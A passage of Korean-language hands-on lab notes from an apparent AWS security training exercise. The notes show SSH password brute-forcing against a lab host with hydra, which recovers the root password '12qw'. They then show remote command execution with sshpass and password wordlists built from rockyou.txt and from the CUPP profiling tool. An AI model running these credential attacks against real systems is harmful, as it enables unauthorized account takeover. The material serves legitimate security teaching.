# SSH 프로토콜이 적용된 "10.0.0.10" 호스트에 대해 최대 10개의 병렬 작업으로 로그인 시도를 합니다.
# 성공적으로 로그인되면 나머지 모든 작업을 중단하고 그 과정의 자세한 정보를 출력합니다.
hydra -l root -P 4chars.txt -t 10 -f -V ssh://10.0.0.10
...
[22][ssh] host: 10.0.0.10   login: root   password: 12qw
...

# 리모트 명령 실행
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10 hostname
==
Warning: Permanently added '10.0.0.10' (ECDSA) to the list of known hosts.
WebServer
==

# 비밀번호 "12qw"를 사용하여 
# SSH 프로토콜로 "root@10.0.0.10" 주소의 원격 호스트에 접속합니다.
# 연결된 세션 내에서 네트워크 인터페이스의 IP 주소 정보를 색상화된 출력으로 보여줍니다.
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10 ip -c addr
혹은
sshpass -p '12qw' ssh -o StrictHostKeyChecking=no root@10.0.0.10

ㄴ웹서버 log 확인

3. [Attacker EC2]

# 사전 파일 획득
## (옵션) 구글링 - 최애(자주 쓰는) 암호 Top 10/100 리스트, Kali Linux 등등
## (옵션) Rockyou 대용량 사전 파일 - 일천사백만개 암호 리스트 > 필요한 부분만 별도의 파일로 만들어서 사용
cd
more /root/rockyou.txt
less /root/rockyou.txt
wc -l /root/rockyou.txt
14344394

grep password /root/rockyou.txt
grep cisco /root/rockyou.txt
grep -F '***' /root/rockyou.txt

## (옵션) Cupp tool 개인 정보 기반 암호 리스트 생성 - 참고링크
python3 /root/cupp.py -i  → 뒤 질문은 전부 N 하자
=====
cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: nono
> Surname: seo
> Nickname: ao
> Birthdate (DDMMYYYY): 20221111


> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name:
> Company name:


> Do you want to add some key words about the victim? Y/[N]: n
> Do you want to add special chars at the end of words? Y/[N]: n
> Do you want to add some random numbers at the end of words? Y/[N]:n
> Leet mode? (i.e. leet = 1337) Y/[N]: n

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to nono.txt, counting 8373 words.
> Hyperspeed Print? (Y/n) : n
[+] Now load your pistolero with nono.txt and shoot! Good luck!
=====

# 생성된 파일 확인
more nono.txt 
  • 실습 완료하였으면 비용을 생각하여 환경 삭제합니다.
    1. AWS CloudFormation Stack 삭제
    2. IAM User 삭제 : user1, user2
    3. IAM Role 삭제 : assume-role-s3full
위로 스크롤